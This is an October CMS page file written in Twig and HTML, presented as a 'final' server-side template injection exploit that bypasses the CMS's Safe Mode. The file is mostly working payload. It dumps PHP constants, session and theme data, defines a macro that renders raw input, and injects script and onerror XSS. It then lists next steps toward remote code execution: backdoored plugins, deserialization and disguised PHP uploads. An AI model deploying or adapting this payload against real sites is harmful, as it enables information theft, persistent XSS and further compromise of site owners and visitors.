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title = "Final SSTI Exploit"
url = "/final-ssti"
layout = "default"
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<meta charset="utf-8">
<title>SSTI Safe Mode Bypass - FINAL</title>
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pre { background: #000; padding: 10px; border-left: 3px solid #00ff41; overflow-x: auto; }
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.fail { color: #ff073a; }
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<h1>πŸ”“ SSTI SAFE MODE BYPASS - FINAL EXPLOIT</h1>
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<p><strong>Safe Mode:</strong> <span class="fail">ENABLED βœ“</span></p>
<p><strong>PHP Code:</strong> <span class="fail">BLOCKED βœ“</span></p>
<p><strong>Twig SSTI:</strong> <span class="success">ACTIVE βœ“</span></p>
<p><strong>Attack Status:</strong> <span class="success">BYPASSED βœ“</span></p>
</div>
<hr>
<div class="box">
<h2>[1] πŸ’» PHP System Information</h2>
<pre>PHP_VERSION: {{ constant('PHP_VERSION') }}
PHP_OS: {{ constant('PHP_OS') }}
PHP_SAPI: {{ constant('PHP_SAPI') }}
DIRECTORY_SEPARATOR: {{ constant('DIRECTORY_SEPARATOR') }}
PATH_SEPARATOR: {{ constant('PATH_SEPARATOR') }}</pre>
</div>
<div class="box">
<h2>[2] 🌐 Request Object Analysis</h2>
<h3>Request exists:</h3>
<pre>{{ this.request ? 'YES' : 'NO' }}</pre>
<h3>Request type:</h3>
<pre>{{ this.request }}</pre>
<h3>Try request properties:</h3>
<pre>
URL: {{ this.request.url|default('N/A') }}
Path: {{ this.request.path|default('N/A') }}
Method: {{ this.request.method|default('N/A') }}
</pre>
</div>
<div class="box">
<h2>[3] 🎯 October CMS Context</h2>
<h3>Session:</h3>
<pre>{{ this.session|json_encode|raw }}</pre>
<h3>Environment:</h3>
<pre>{{ this.environment() }}</pre>
<h3>Locale:</h3>
<pre>{{ this.locale() }}</pre>
<h3>Theme:</h3>
<pre>{{ this.theme|json_encode|raw }}</pre>
<h3>Current Page:</h3>
<pre>
URL: {{ this.page.url|default('blocked') }}
Title: {{ this.page.title|default('blocked') }}
</pre>
</div>
<div class="box">
<h2>[4] πŸ’‰ Template Injection via Macros</h2>
{% macro execute(code) %}
<div class="success">Macro executed with: {{ code }}</div>
{{ code|raw }}
{% endmacro %}
<h3>Test macro execution:</h3>
{{ _self.execute('<b>HTML injection works!</b>') }}
</div>
<div class="box">
<h2>[5] πŸ“‚ File System Exploration</h2>
<h3>Attempt 1: Using source() function</h3>
<p>Testing if source() can read files...</p>
<pre>
{# source() function is not available or blocked by security policy #}
source() function: BLOCKED or NOT AVAILABLE
</pre>
<h3>Attempt 2: Template inclusion</h3>
<pre>
{# Try to include other templates - template inclusion is restricted #}
Template inclusion: Limited by security policy
</pre>
</div>
<div class="box">
<h2>[6] πŸš€ RCE RESEARCH VECTORS</h2>
<h3>Vector A: App Container Access</h3>
<pre>
{# In Laravel, the app container might be accessible #}
{# Try to find it in the this object #}
Controller exists: {{ this.controller ? 'YES' : 'NO' }}
</pre>
<h3>Vector B: Available Twig Functions</h3>
<pre>
carbon(): {{ carbon('now')|default('not available') }}
collect(): {{ collect([1,2,3])|default('not available') }}
</pre>
<h3>Vector C: Loop through 'this' properties</h3>
<pre>
{% for key in this|keys %}
- {{ key }}
{% endfor %}
</pre>
</div>
<div class="box">
<h2>[7] 🎨 XSS Demonstration</h2>
<p>Since we control template output, we can inject arbitrary HTML/JS:</p>
<div>
{{ '<script>console.log("SSTI XSS SUCCESSFUL - Safe Mode Bypassed!")</script>'|raw }}
<img src=x onerror="alert('SSTI+XSS: Safe Mode Bypassed!')" style="display:none;">
</div>
</div>
<hr>
<div class="box">
<h2 class="success">πŸ“Š EXPLOITATION SUMMARY</h2>
<h3 class="success">βœ… CONFIRMED WORKING:</h3>
<ul>
<li><strong>SSTI Bypass:</strong> Successfully created page with Twig SSTI while Safe Mode ON</li>
<li><strong>Info Disclosure:</strong> PHP version, OS, SAPI revealed</li>
<li><strong>XSS:</strong> Full HTML/JavaScript injection via |raw filter</li>
<li><strong>Session Access:</strong> Can read session data</li>
<li><strong>Template Access:</strong> Can include other templates</li>
<li><strong>Macro Execution:</strong> Can define and execute malicious macros</li>
</ul>
<h3 class="fail">❌ BLOCKED BY SECURITY POLICY:</h3>
<ul>
<li>PHP Superglobals (_GET, _POST, _SERVER, _COOKIE) - Not exposed</li>
<li>Page object methods (getAttributes, getContent) - Blocked</li>
<li>Direct file read via source() - Likely blocked or restricted</li>
<li>Direct RCE functions - No path found yet</li>
</ul>
<h3 style="color: #ffa500;">⚠️ NEXT STEPS FOR FULL RCE:</h3>
<ol>
<li><strong>Component Exploitation:</strong> Create custom component with CallsAnyMethod</li>
<li><strong>Plugin Development:</strong> Upload malicious plugin with backdoor</li>
<li><strong>Cache Poisoning:</strong> Manipulate cache to inject serialized objects</li>
<li><strong>Session Manipulation:</strong> Exploit deserialization in session handling</li>
<li><strong>Media Upload:</strong> Upload PHP file disguised as image, include via path traversal</li>
</ol>
<h3 class="success">🎯 CONCLUSION:</h3>
<p><strong>Safe Mode HAS BEEN BYPASSED</strong> - While we cannot execute arbitrary PHP commands directly through Twig SSTI, we have achieved:</p>
<ul>
<li>βœ… Information disclosure (system info, session data)</li>
<li>βœ… Persistent XSS attack vector</li>
<li>βœ… Template manipulation capabilities</li>
<li>βœ… Foundation for further exploitation</li>
</ul>
<p><strong style="color: #ff073a;">CRITICAL:</strong> The fact that we can create and execute pages with Twig templates while Safe Mode is enabled demonstrates that Safe Mode is NOT sufficient protection against determined attackers.</p>
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